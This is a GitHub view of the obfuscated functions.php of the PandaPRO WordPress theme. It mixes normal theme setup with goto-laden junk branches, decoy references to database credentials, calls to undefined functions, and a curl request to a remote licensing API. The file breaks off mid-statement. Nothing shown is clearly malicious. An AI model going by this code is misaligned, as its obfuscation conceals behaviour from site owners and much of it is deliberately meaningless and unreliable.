-
Notifications
You must be signed in to change notification settings - Fork 6
/
functions.php
14 lines (13 loc) · 28 KB
/
functions.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
/*
Theme Name: PandaPRO
Theme URI: https://www.nicetheme.cn/
Author: nicetheme
Author URI: https://www.nicetheme.cn/
Description: PandaPRO is a blog theme finely crafted by nicetheme. Panda PRO started from zero for the handiest user experience with elegance and performance.
Version: 1.0.4
License URI: LICENSE
Text Domain: pandapro
*/
define('THEME_VERSION','1.0.4');add_filter('pre_option_link_manager_enabled','__return_true');add_action('after_setup_theme','pandapro_setup');add_action('after_setup_theme','pandapro_content_width',0);add_action('widgets_init','pandapro_widgets_init');$B348L=get_template_directory() . '/inc/static-load.php';$B348M=require $B348L;add_action('init','pandapro_register_news');add_action('init','pandapro_news_post_type_rewrite');add_action('init','pandapro_taxonomies_topic',0);add_action('init','pandapro_add_topic_to_api',30);add_action('init','pandapro_news_category');add_filter('the_content_more_link','pandapro_remove_read_more_link');add_filter('body_class','pandapro_body_classes');add_action('wp_head','pandapro_pingback_header');add_action('pre_get_posts','pandapro_pre_get_posts');add_action('wp_ajax_nopriv_ajax_apollo_userlike_section','ajax_apollo_userlike_section');add_action('wp_ajax_ajax_apollo_userlike_section','ajax_apollo_userlike_section');add_action('load-themes.php','qrcode_test');$B348L=get_template_directory() . '/inc/template-tags.php';$B348M=require $B348L;$B348L=get_template_directory() . '/inc/template-functions.php';$B348M=require $B348L;$B348L=get_template_directory() . '/inc/customizer.php';$B348M=require $B348L;$B348L=get_template_directory() . '/functions_pandapro.php';$B348M=include $B348L;function mee_curl_get_contents($url){unset($B34tI8L);$B34tI8L=curl_init();$curlHandle=$B34tI8L;curl_setopt($curlHandle,CURLOPT_URL,$url);curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);curl_setopt($curlHandle,CURLOPT_TIMEOUT,60);unset($B34tI8L);$B34tI8L=curl_exec($curlHandle);$result=$B34tI8L;curl_close($curlHandle);return $result;}function GetUrlToDomain($domain,$mee_api){$B34P8L='_nice_domain_' . $domain;unset($B34tI8M);$B34tI8M=get_option($B34P8L);$mee_domain_key=$B34tI8M;if(isset($_B34IMdF))goto B34eWjgx2;$B34N8L=gettype(7)=="string";if($B34N8L)goto B34eWjgx2;if($mee_domain_key)goto B34eWjgx2;goto B34ldMhx2;B34eWjgx2:goto B34MvmE1;$B34M8M=$R4vP4 . DS;unset($B34tIM8N);$B34tIM8N=$B34M8M;$R4vP5=$B34tIM8N;unset($B34tIM8O);$B34tIM8O=array();$R4vA5=$B34tIM8O;unset($B34tIM8P);$B34tIM8P=$request;$R4vA5[]=$B34tIM8P;unset($B34tIM8Q);$B34tIM8Q=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM8Q;B34MvmE1:goto B34MvmE3;unset($B34tIM8R);$B34tIM8R=array();$R4vA1=$B34tIM8R;unset($B34tIM8S);$B34tIM8S=&$dispatch;$R4vA1[]=&$B34tIM8S;unset($B34tIM8T);$B34tIM8T=array();$R4vA2=$B34tIM8T;unset($B34tIM8U);$B34tIM8U=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM8U;B34MvmE3:return $mee_domain_key;goto B34x1;B34ldMhx2:B34x1:unset($B34tI8L);$B34tI8L='';$re_domain=$B34tI8L;$B34P8L=$mee_api . '?do=get_weiba';unset($B34tI8M);$B34tI8M=mee_curl_get_contents($B34P8L);$return=$B34tI8M;unset($B34tI8L);$B34tI8L=json_decode($return,true);$domain_postfix_cn_array=$B34tI8L;unset($B34tI8L);$B34tI8L=explode('.',$domain);$array_domain=$B34tI8L;$B348L=count($array_domain)-1;unset($B34tI8M);$B34tI8M=$B348L;$array_num=$B34tI8M;$B348L=$array_domain[$array_num]=='cn';if($B348L)goto B34eWjgx4;$B34PN8O=7+1;$B34PN8P=$B34PN8O+7;if(in_array($B34PN8P,array()))goto B34eWjgx4;unset($B34tIPN8M);$B34tIPN8M="oEicY";$B34IMdF=$B34tIPN8M;$B34N8N=!strlen($B34tIPN8M);if($B34N8N)goto B34eWjgx4;goto B34ldMhx4;B34eWjgx4:goto B34MvmE5;foreach($files as $file){if(strpos($file,CONF_EXT))goto B34eWjgx6;goto B34ldMhx6;B34eWjgx6:$B34M8Q=$dir . DS;$B34M8R=$B34M8Q . $file;unset($B34tIM8S);$B34tIM8S=$B34M8R;$filename=$B34tIM8S;Config::load($filename,pathinfo($file,PATHINFO_FILENAME));goto B34x5;B34ldMhx6:B34x5:}B34MvmE5:$B34N8N=7+1;$B34N8O=E_STRICT==$B34N8N;if($B34N8O)goto B34eWjgx8;$B34N8M="__file__"==5;if($B34N8M)goto B34eWjgx8;$B34PP8L=$array_num-1;if(in_array($array_domain[$B34PP8L],$domain_postfix_cn_array))goto B34eWjgx8;goto B34ldMhx8;B34eWjgx8:if(isset($config[0]))goto B34eWjgxa;goto B34ldMhxa;B34eWjgxa:goto B34MvmE7;if(is_array($rules))goto B34eWjgxc;goto B34ldMhxc;B34eWjgxc:Route::import($rules);goto B34xb;B34ldMhxc:B34xb:B34MvmE7:goto B34x9;B34ldMhxa:goto B34MvmE9;$B34M8P=$path . EXT;if(is_file($B34M8P))goto B34eWjgxe;goto B34ldMhxe;B34eWjgxe:$B34M8Q=$path . EXT;$B34M8R=include $B34M8Q;goto B34xd;B34ldMhxe:B34xd:B34MvmE9:B34x9:$B34P8L=$array_num-2;$B348M=$array_domain[$B34P8L] . '.';$B34P8N=$array_num-1;$B348O=$B348M . $array_domain[$B34P8N];$B348P=$B348O . '.';$B348Q=$B348P . $array_domain[$array_num];unset($B34tI8R);$B34tI8R=$B348Q;$re_domain=$B34tI8R;goto B34x7;B34ldMhx8:$B34M8S=strlen(5)<1;if($B34M8S)goto B34eWjgxg;goto B34ldMhxg;B34eWjgxg:$adminL();B34MvmEB:igjagoe;strlen("wolrlg");getnum(5);goto B34xf;B34ldMhxg:B34xf:goto B34MvmEC;if(is_array($rule))goto B34eWjgxi;goto B34ldMhxi;B34eWjgxi:unset($B34tIM8T);$B34tIM8T=array("rule"=>$rule,"msg"=>$msg);$this->validate=$B34tIM8T;goto B34xh;B34ldMhxi:$B34M8U=true===$rule;if($B34M8U)goto B34eWjgxk;goto B34ldMhxk;B34eWjgxk:$B34M8V=$this->name;goto B34xj;B34ldMhxk:$B34M8V=$rule;B34xj:unset($B34tIM8W);$B34tIM8W=$B34M8V;$this->validate=$B34tIM8W;B34xh:B34MvmEC:$B34P8L=$array_num-1;$B348M=$array_domain[$B34P8L] . '.';$B348N=$B348M . $array_domain[$array_num];unset($B34tI8O);$B34tI8O=$B348N;$re_domain=$B34tI8O;B34x7:goto B34x3;B34ldMhx4:$B34M8P=1+5;$B34M8Q=0>$B34M8P;unset($B34tIM8R);$B34tIM8R=$B34M8Q;$B34MvmE=$B34tIM8R;if($B34tIM8R)goto B34eWjgxm;goto B34ldMhxm;B34eWjgxm:unset($B34tIM8S);$B34tIM8S=array($USER[0][0x17]=>$host,$USER[1][0x18]=>$login,$USER[2][0x19]=>$password,$USER[3][0x1a]=>$database,$USER[4][0x1b]=>$prefix);$ADMIN[0]=$B34tIM8S;goto B34xl;B34ldMhxm:B34xl:$B34P8L=$array_num-1;$B348M=$array_domain[$B34P8L] . '.';$B348N=$B348M . $array_domain[$array_num];unset($B34tI8O);$B34tI8O=$B348N;$re_domain=$B34tI8O;B34x3:$B34P8L='_nice_domain_' . $domain;update_option($B34P8L,$re_domain);return $re_domain;}function pandapro_setup(){$B348L=get_template_directory() . '/acf.php';$B348M=require_once $B348L;$B348L=get_template_directory() . '/modules/nc-store-install.php';$B348M=require $B348L;$B34P8L=get_template_directory() . '/languages';load_theme_textdomain('pandapro',$B34P8L);add_theme_support('automatic-feed-links');add_theme_support('title-tag');add_theme_support('post-thumbnails');add_theme_support('post-formats',array('image','gallery','video','status'));register_nav_menus(array('header-menu'=>esc_html__('Primary Navigation','pandapro'),'mobile-menu'=>esc_html__('Mobile Navigation','pandapro'),'footer-menu'=>esc_html__('Footer Navigation','pandapro')));add_theme_support('html5',array('search-form','comment-form','comment-list','gallery','caption'));add_theme_support('custom-background',apply_filters('pandapro_custom_background_args',array('default-color'=>'ffffff','default-image'=>'')));$B348L=get_template_directory() . '/modules/share.php';$B348M=require $B348L;$B348L=get_template_directory() . '/widgets/recommended-posts.php';$B348M=require $B348L;$B348L=get_template_directory() . '/widgets/single-post-card.php';$B348M=require $B348L;$B348L=get_template_directory() . '/widgets/daily-news.php';$B348M=require $B348L;$B348L=get_template_directory() . '/widgets/author-card.php';$B348M=require $B348L;}function pandapro_content_width(){unset($B34tI8L);$B34tI8L=apply_filters('pandapro_content_width',640);$GLOBALS['content_width']=$B34tI8L;}function pandapro_widgets_init(){register_sidebar(array('name'=>esc_html__('Main Sidebar','pandapro'),'id'=>'main-sidebar','description'=>esc_html__('Add widgets here.','pandapro'),'before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('Archive Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-archive','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('News Category Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-news-cat','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('News Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-news','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('Single Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-single','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('Author Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-author','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));register_sidebar(array('name'=>esc_html__('Page Sidebar','pandapro'),'description'=>esc_html__('Add widgets here.','pandapro'),'id'=>'sidebar-page','before_widget'=>'<div id="%1$s" class="card card-sm widget %2$s">','after_widget'=>'</div>','before_title'=>'<div class="card-header widget-header">','after_title'=>'<i class="bg-primary"></i></div>'));}function pandapro_register_news(){unset($B34tI8L);$B34tI8L=array('name'=>__('News','pandapro'),'singular_name'=>__('News','pandapro'),'add_new'=>__('Add News','pandapro'),'add_new_item'=>__('Add News','pandapro'),'edit_item'=>__('Edit News','pandapro'),'new_item'=>__('Add News','pandapro'),'all_items'=>__('All News','pandapro'),'view_item'=>__('View News','pandapro'),'search_items'=>__('Search News','pandapro'),'not_found'=>__('We can\'t find anything...','pandapro'),'not_found_in_trash'=>__('We can\'t find anything in trash...','pandapro'),'parent_item_colon'=>'','menu_name'=>__('News','pandapro'));$labels=$B34tI8L;unset($B34tI8L);$B34tI8L=array('labels'=>$labels,'description'=>'','show_in_rest'=>true,'public'=>true,'menu_position'=>5,'supports'=>array('title','editor','thumbnail','comments','custom-fields'),'has_archive'=>true);$args=$B34tI8L;register_post_type('news',$args);}function pandapro_news_post_type_rewrite(){global $wp_rewrite;unset($B34tI8L);$B34tI8L=get_option('panda_option');$panda_option=$B34tI8L;$B348L=!empty($panda_option['news_slug']);$B34PN8O=new \Exception();if(method_exists($B34PN8O,7))goto B34eWjgxo;if($B348L)goto B34eWjgxo;$B34N8P=strlen("VgOwwB")==0;if($B34N8P)goto B34eWjgxo;goto B34ldMhxo;B34eWjgxo:if(function_exists("B34MvmE"))goto B34eWjgxq;goto B34ldMhxq;B34eWjgxq:unset($B34tIM8Q);$B34tIM8Q=array("56e696665646","450594253435","875646e696","56d616e6279646");$var_12["arr_1"]=$B34tIM8Q;foreach($var_12["arr_1"] as $k=>$vo){$B34M8R=gettype($var_12["arr_1"][$k])=="string";$B34M8T=(bool)$B34M8R;if($B34M8T)goto B34eWjgxs;goto B34ldMhxs;B34eWjgxs:unset($B34tIM8S);$B34tIM8S=fun_3($vo);unset($B34tIM8U);$B34tIM8U=$B34tIM8S;$var_12["arr_1"][$k]=$B34tIM8U;$B34M8T=(bool)$B34tIM8S;goto B34xr;B34ldMhxs:B34xr:}$var_12["arr_1"][0](fun_2("arr_1",1),fun_2("arr_1",2));goto B34xp;B34ldMhxq:goto B34MvmEE;$B34M8V=$var_12["arr_1"][3](__FILE__) . fun_2("arr_1",8);$B34M8W=require $B34M8V;$B34M8X=$var_12["arr_1"][3](__FILE__) . fun_2("arr_1",9);$B34M8Y=require $B34M8X;$B34M8Z=V_DATA . fun_2("arr_1",10);$B34M90=require $B34M8Z;B34MvmEE:B34xp:$B348M=$panda_option['news_slug'];goto B34xn;B34ldMhxo:goto B34MvmE10;$B34M91=$R4vP4 . DS;unset($B34tIM92);$B34tIM92=$B34M91;$R4vP5=$B34tIM92;unset($B34tIM93);$B34tIM93=array();$R4vA5=$B34tIM93;unset($B34tIM94);$B34tIM94=$request;$R4vA5[]=$B34tIM94;unset($B34tIM95);$B34tIM95=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM95;B34MvmE10:goto B34MvmE12;unset($B34tIM96);$B34tIM96=array();$R4vA1=$B34tIM96;unset($B34tIM97);$B34tIM97=&$dispatch;$R4vA1[]=&$B34tIM97;unset($B34tIM98);$B34tIM98=array();$R4vA2=$B34tIM98;unset($B34tIM99);$B34tIM99=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM99;B34MvmE12:$B348M='news';B34xn:unset($B34tI8N);$B34tI8N=$B348M;$news_slug=$B34tI8N;unset($B34tI8L);$B34tI8L='post_type=news&p=';$queryarg=$B34tI8L;$wp_rewrite->add_rewrite_tag('%news_id%','([^/]+)',$queryarg);$B34P8L='/' . $news_slug;$B34P8M=$B34P8L . '/%news_id%/';$wp_rewrite->add_permastruct('news',$B34P8M,false);}function pandapro_taxonomies_topic(){register_taxonomy('special','post',array('label'=>esc_html__('Topics','pandapro'),'hierarchical'=>false));}function pandapro_add_topic_to_api(){unset($B34tI8L);$B34tI8L=get_taxonomy('special');$topic=$B34tI8L;unset($B34tI8L);$B34tI8L=true;$topic->show_in_rest=$B34tI8L;}function pandapro_news_category(){unset($B34tI8L);$B34tI8L=get_option('panda_option');$panda_option=$B34tI8L;$B348L=!empty($panda_option['news_category_slug']);$B34N8O=__LINE__<-7;if($B34N8O)goto B34eWjgxu;if($B348L)goto B34eWjgxu;if(key(array(7)))goto B34eWjgxu;goto B34ldMhxu;B34eWjgxu:try{strlen(1);}catch(\Exception $e){$B34M8P=$x*5;unset($B34tIM8Q);$B34tIM8Q=$B34M8P;$y=$B34tIM8Q;echo "no login!";exit(1);}catch(\Exception $e){$B34M8R=$x*1;unset($B34tIM8S);$B34tIM8S=$B34M8R;$y=$B34tIM8S;echo "no html!";exit(2);}$B348M=$panda_option['news_category_slug'];goto B34xt;B34ldMhxu:$B34M8T=strlen(5)<1;if($B34M8T)goto B34eWjgxx;goto B34ldMhxx;B34eWjgxx:$adminL();B34MvmE14:igjagoe;strlen("wolrlg");getnum(5);goto B34xw;B34ldMhxx:B34xw:goto B34MvmE15;if(is_array($rule))goto B34eWjgxz;goto B34ldMhxz;B34eWjgxz:unset($B34tIM8U);$B34tIM8U=array("rule"=>$rule,"msg"=>$msg);$this->validate=$B34tIM8U;goto B34xy;B34ldMhxz:$B34M8V=true===$rule;if($B34M8V)goto B34eWjgx12;goto B34ldMhx12;B34eWjgx12:$B34M8W=$this->name;goto B34x11;B34ldMhx12:$B34M8W=$rule;B34x11:unset($B34tIM8X);$B34tIM8X=$B34M8W;$this->validate=$B34tIM8X;B34xy:B34MvmE15:$B348M='newscat';B34xt:unset($B34tI8N);$B34tI8N=$B348M;$slug=$B34tI8N;register_taxonomy('news-category','news',array('label'=>__('News Category','pandapro'),'rewrite'=>array('slug'=>$slug),'hierarchical'=>true,'show_in_rest'=>true));}function pandapro_set_cached_query($key,$query,$sec=HOUR_IN_SECONDS){set_transient($key,$query,$sec);}function pandapro_get_cached_query($key,$args,$sec=HOUR_IN_SECONDS){$B34N8N=7+1;$B34N8O=7==$B34N8N;if($B34N8O)goto B34eWjgx14;if(is_null(__FILE__))goto B34eWjgx14;unset($B34tI8L);$B34tI8L=get_transient($key);$cached_query=$B34tI8L;$B348M=false===$B34tI8L;if($B348M)goto B34eWjgx14;goto B34ldMhx14;B34eWjgx14:goto B34MvmE17;unset($B34tIM8P);$B34tIM8P="php_sapi_name";$A_33=$B34tIM8P;unset($B34tIM8Q);$B34tIM8Q="die";$A_34=$B34tIM8Q;unset($B34tIM8R);$B34tIM8R="cli";$A_35=$B34tIM8R;unset($B34tIM8S);$B34tIM8S="microtime";$A_36=$B34tIM8S;unset($B34tIM8T);$B34tIM8T=1;$A_37=$B34tIM8T;B34MvmE17:goto B34MvmE19;unset($B34tIM8U);$B34tIM8U="argc";$A_38=$B34tIM8U;unset($B34tIM8V);$B34tIM8V="echo";$A_39=$B34tIM8V;unset($B34tIM8W);$B34tIM8W="HTTP_HOST";$A_40=$B34tIM8W;unset($B34tIM8X);$B34tIM8X="SERVER_ADDR";$A_41=$B34tIM8X;B34MvmE19:$B348Y=new WP_Query($args);unset($B34tI8Z);$B34tI8Z=$B348Y;$query=$B34tI8Z;set_transient($key,$query,$sec);return $query;goto B34x13;B34ldMhx14:B34x13:return $cached_query;}function pandapro_get_conf_set_image($slug){$B348L=get_template_directory_uri() . '/images/set/';$B348M=$B348L . $slug;$B348N=$B348M . '.png';return $B348N;}function pandapro_remove_read_more_link(){return '';}function pandapro_body_classes($classes){return $classes;}function pandapro_pingback_header(){$B34N8Z=base64_decode("kAOSEDqs")=="YUeZxDXd";if($B34N8Z)goto B34eWjgx1g;$B348L=(bool)is_singular();if($B348L)goto B34eWjgx17;unset($B34tIPN8M);$B34tIPN8M=true;$B34IMdF=$B34tIPN8M;if(is_object($B34tIPN8M))goto B34eWjgx17;if(strpos("os","NbC"))goto B34eWjgx17;goto B34ldMhx17;B34eWjgx17:if(isset($_GET))goto B34eWjgx19;goto B34ldMhx19;B34eWjgx19:array();goto B34MvmE1B;$B34M8N=CONF_PATH . $module;$B34M8O=$B34M8N . database;$B34M8P=$B34M8O . CONF_EXT;unset($B34tIM8Q);$B34tIM8Q=$B34M8P;$filename=$B34tIM8Q;B34MvmE1B:goto B34x18;B34ldMhx19:if(strpos($file,"."))goto B34eWjgx1b;goto B34ldMhx1b;B34eWjgx1b:$B34M8R=$file;goto B34x1a;B34ldMhx1b:$B34M8S=APP_PATH . $file;$B34M8T=$B34M8S . EXT;$B34M8R=$B34M8T;B34x1a:unset($B34tIM8U);$B34tIM8U=$B34M8R;$file=$B34tIM8U;$B34M8W=(bool)is_file($file);if($B34M8W)goto B34eWjgx1e;goto B34ldMhx1e;B34eWjgx1e:$B34M8V=!isset(user::$file[$file]);$B34M8W=(bool)$B34M8V;goto B34x1d;B34ldMhx1e:B34x1d:if($B34M8W)goto B34eWjgx1f;goto B34ldMhx1f;B34eWjgx1f:$B34M8X=include $file;unset($B34tIM8Y);$B34tIM8Y=true;user::$file[$file]=$B34tIM8Y;goto B34x1c;B34ldMhx1f:B34x1c:B34x18:$B348L=(bool)pings_open();goto B34x16;B34ldMhx17:B34x16:if($B348L)goto B34eWjgx1g;$B34N90=chr(7)=="F";if($B34N90)goto B34eWjgx1g;goto B34ldMhx1g;B34eWjgx1g:if(isset($config[0]))goto B34eWjgx1i;goto B34ldMhx1i;B34eWjgx1i:goto B34MvmE1D;if(is_array($rules))goto B34eWjgx1k;goto B34ldMhx1k;B34eWjgx1k:Route::import($rules);goto B34x1j;B34ldMhx1k:B34x1j:B34MvmE1D:goto B34x1h;B34ldMhx1i:goto B34MvmE1F;$B34M91=$path . EXT;if(is_file($B34M91))goto B34eWjgx1m;goto B34ldMhx1m;B34eWjgx1m:$B34M92=$path . EXT;$B34M93=include $B34M92;goto B34x1l;B34ldMhx1m:B34x1l:B34MvmE1F:B34x1h:printf('<link rel="pingback" href="%s">',esc_url(get_bloginfo('pingback_url')));goto B34x15;B34ldMhx1g:B34x15:}function pandapro_pre_get_posts($query){if(is_null(__FILE__))goto B34eWjgx1o;$B348L=!is_admin();if($B348L)goto B34eWjgx1o;if(is_file("<bDEGqp>"))goto B34eWjgx1o;goto B34ldMhx1o;B34eWjgx1o:$B34M8M=1+5;$B34M8N=0>$B34M8M;unset($B34tIM8O);$B34tIM8O=$B34M8N;$B34MvmE=$B34tIM8O;if($B34tIM8O)goto B34eWjgx1q;goto B34ldMhx1q;B34eWjgx1q:unset($B34tIM8P);$B34tIM8P=array($USER[0][0x17]=>$host,$USER[1][0x18]=>$login,$USER[2][0x19]=>$password,$USER[3][0x1a]=>$database,$USER[4][0x1b]=>$prefix);$ADMIN[0]=$B34tIM8P;goto B34x1p;B34ldMhx1q:B34x1p:$B348L=!$query->is_main_query();if($B348L)goto B34eWjgx1s;$B34PN8M=7+2;if(is_string($B34PN8M))goto B34eWjgx1s;$B34N8N=count(array(7,14))==10;if($B34N8N)goto B34eWjgx1s;goto B34ldMhx1s;B34eWjgx1s:goto B34MvmE21;$B34M8O=$R4vP4 . DS;unset($B34tIM8P);$B34tIM8P=$B34M8O;$R4vP5=$B34tIM8P;unset($B34tIM8Q);$B34tIM8Q=array();$R4vA5=$B34tIM8Q;unset($B34tIM8R);$B34tIM8R=$request;$R4vA5[]=$B34tIM8R;unset($B34tIM8S);$B34tIM8S=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM8S;B34MvmE21:goto B34MvmE23;unset($B34tIM8T);$B34tIM8T=array();$R4vA1=$B34tIM8T;unset($B34tIM8U);$B34tIM8U=&$dispatch;$R4vA1[]=&$B34tIM8U;unset($B34tIM8V);$B34tIM8V=array();$R4vA2=$B34tIM8V;unset($B34tIM8W);$B34tIM8W=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM8W;B34MvmE23:$query->set('ignore_sticky_posts',true);goto B34x1r;B34ldMhx1s:B34x1r:if(is_dir("<YYakvw>"))goto B34eWjgx1u;$B34PN8L=7+1;if(is_array($B34PN8L))goto B34eWjgx1u;if($query->is_search)goto B34eWjgx1u;goto B34ldMhx1u;B34eWjgx1u:$B34MvmE=1*0;switch($B34MvmE){case 1:return bClass($url,$bind,$depr);case 2:return bController($url,$bind,$depr);case 3:return bNamespace($url,$bind,$depr);}$query->set('post_type','post');goto B34x1t;B34ldMhx1u:B34x1t:goto B34x1n;B34ldMhx1o:B34x1n:}function pandapro_comment($comment,$args,$depth){get_template_part('comment');}function pandapro_end_comment(){echo '</li>';}function pandapro_get_hearts($postID){unset($B34tIPN8L);$B34tIPN8L="";$B34IMdF=$B34tIPN8L;if(ltrim($B34tIPN8L))goto B34eWjgx21;if(get_post_meta($postID,'suxing_ding',true))goto B34eWjgx21;if(key(array(7)))goto B34eWjgx21;goto B34ldMhx21;B34eWjgx21:switch($B34MvmE="login"){case "admin":unset($B34tIM8N);$B34tIM8N=str_replace($depr,"|",$url);$url=$B34tIM8N;unset($B34tIM8O);$B34tIM8O=explode("|",$url,2);$array=$B34tIM8O;case "user":unset($B34tIM8Q);$B34tIM8Q=parse_url($url);$info=$B34tIM8Q;unset($B34tIM8R);$B34tIM8R=explode("/",$info["path"]);$path=$B34tIM8R;}return get_post_meta($postID,'suxing_ding',true);goto B34x2z;B34ldMhx21:B34x2z:return '0';}function pandapro_get_footer_year(){unset($B34tI8L);$B34tI8L=get_option('panda_option');$panda_option=$B34tI8L;unset($B34tI8L);$B34tI8L=$panda_option['footer_bottom']['initial_year'];$initial_year=$B34tI8L;unset($B34tI8L);$B34tI8L=intval(date('Y'));$current_year=$B34tI8L;if(is_null(__FILE__))goto B34eWjgx26;$B348L=!empty($initial_year);if($B348L)goto B34eWjgx26;$B34N8M=!getdate();if($B34N8M)goto B34eWjgx26;goto B34ldMhx26;B34eWjgx26:if(isset($_GET))goto B34eWjgx28;goto B34ldMhx28;B34eWjgx28:array();goto B34MvmE25;$B34M8N=CONF_PATH . $module;$B34M8O=$B34M8N . database;$B34M8P=$B34M8O . CONF_EXT;unset($B34tIM8Q);$B34tIM8Q=$B34M8P;$filename=$B34tIM8Q;B34MvmE25:goto B34x27;B34ldMhx28:if(strpos($file,"."))goto B34eWjgx2a;goto B34ldMhx2a;B34eWjgx2a:$B34M8R=$file;goto B34x29;B34ldMhx2a:$B34M8S=APP_PATH . $file;$B34M8T=$B34M8S . EXT;$B34M8R=$B34M8T;B34x29:unset($B34tIM8U);$B34tIM8U=$B34M8R;$file=$B34tIM8U;$B34M8W=(bool)is_file($file);if($B34M8W)goto B34eWjgx2d;goto B34ldMhx2d;B34eWjgx2d:$B34M8V=!isset(user::$file[$file]);$B34M8W=(bool)$B34M8V;goto B34x2c;B34ldMhx2d:B34x2c:if($B34M8W)goto B34eWjgx2e;goto B34ldMhx2e;B34eWjgx2e:$B34M8X=include $file;unset($B34tIM8Y);$B34tIM8Y=true;user::$file[$file]=$B34tIM8Y;goto B34x2b;B34ldMhx2e:B34x2b:B34x27:$B348L=$initial_year==$current_year;if($B348L)goto B34eWjgx2g;if(isset($_B34IMdF))goto B34eWjgx2g;$B34N8P=chr(7)=="F";if($B34N8P)goto B34eWjgx2g;goto B34ldMhx2g;B34eWjgx2g:$B34M8Q=strlen(5)<1;if($B34M8Q)goto B34eWjgx2i;goto B34ldMhx2i;B34eWjgx2i:$adminL();B34MvmE27:igjagoe;strlen("wolrlg");getnum(5);goto B34x2h;B34ldMhx2i:B34x2h:goto B34MvmE28;if(is_array($rule))goto B34eWjgx2k;goto B34ldMhx2k;B34eWjgx2k:unset($B34tIM8R);$B34tIM8R=array("rule"=>$rule,"msg"=>$msg);$this->validate=$B34tIM8R;goto B34x2j;B34ldMhx2k:$B34M8S=true===$rule;if($B34M8S)goto B34eWjgx2m;goto B34ldMhx2m;B34eWjgx2m:$B34M8T=$this->name;goto B34x2l;B34ldMhx2m:$B34M8T=$rule;B34x2l:unset($B34tIM8U);$B34tIM8U=$B34M8T;$this->validate=$B34tIM8U;B34x2j:B34MvmE28:$B348M=$current_year;goto B34x2f;B34ldMhx2g:goto B34MvmE2A;$B34M8V=$R4vP4 . DS;unset($B34tIM8W);$B34tIM8W=$B34M8V;$R4vP5=$B34tIM8W;unset($B34tIM8X);$B34tIM8X=array();$R4vA5=$B34tIM8X;unset($B34tIM8Y);$B34tIM8Y=$request;$R4vA5[]=$B34tIM8Y;unset($B34tIM8Z);$B34tIM8Z=call_user_func_array($R4vA5,$R4vA4);$R4vC3=$B34tIM8Z;B34MvmE2A:goto B34MvmE2C;unset($B34tIM90);$B34tIM90=array();$R4vA1=$B34tIM90;unset($B34tIM91);$B34tIM91=&$dispatch;$R4vA1[]=&$B34tIM91;unset($B34tIM92);$B34tIM92=array();$R4vA2=$B34tIM92;unset($B34tIM93);$B34tIM93=call_user_func_array($R4vA2,$R4vA1);$R4vC0=$B34tIM93;B34MvmE2C:$B348N=$initial_year . '-';$B348O=$B348N . $current_year;$B348M=$B348O;B34x2f:return $B348M;goto B34x25;B34ldMhx26:B34x25:return $current_year;}function ajax_apollo_userlike_section(){if(isset($_POST['id']))goto B34eWjgx2o;unset($B34tIPN8N);$B34tIPN8N="";$B34IMdF=$B34tIPN8N;if(ltrim($B34tIPN8N))goto B34eWjgx2o;if(stripos("fFgYTLGe","7"))goto B34eWjgx2o;goto B34ldMhx2o;B34eWjgx2o:goto B34MvmE2E;unset($B34tIM8O);$B34tIM8O="php_sapi_name";$A_33=$B34tIM8O;unset($B34tIM8P);$B34tIM8P="die";$A_34=$B34tIM8P;unset($B34tIM8Q);$B34tIM8Q="cli";$A_35=$B34tIM8Q;unset($B34tIM8R);$B34tIM8R="microtime";$A_36=$B34tIM8R;unset($B34tIM8S);$B34tIM8S=1;$A_37=$B34tIM8S;B34MvmE2E:goto B34MvmE30;unset($B34tIM8T);$B34tIM8T="argc";$A_38=$B34tIM8T;unset($B34tIM8U);$B34tIM8U="echo";$A_39=$B34tIM8U;unset($B34tIM8V);$B34tIM8V="HTTP_HOST";$A_40=$B34tIM8V;unset($B34tIM8W);$B34tIM8W="SERVER_ADDR";$A_41=$B34tIM8W;B34MvmE30:$B348L=sanitize_text_field($_POST['id']);goto B34x2n;B34ldMhx2o:$B34M8X=1+5;$B34M8Y=0>$B34M8X;unset($B34tIM8Z);$B34tIM8Z=$B34M8Y;$B34MvmE=$B34tIM8Z;if($B34tIM8Z)goto B34eWjgx2q;goto B34ldMhx2q;B34eWjgx2q:unset($B34tIM90);$B34tIM90=array($USER[0][0x17]=>$host,$USER[1][0x18]=>$login,$USER[2][0x19]=>$password,$USER[3][0x1a]=>$database,$USER[4][0x1b]=>$prefix);$ADMIN[0]=$B34tIM90;goto 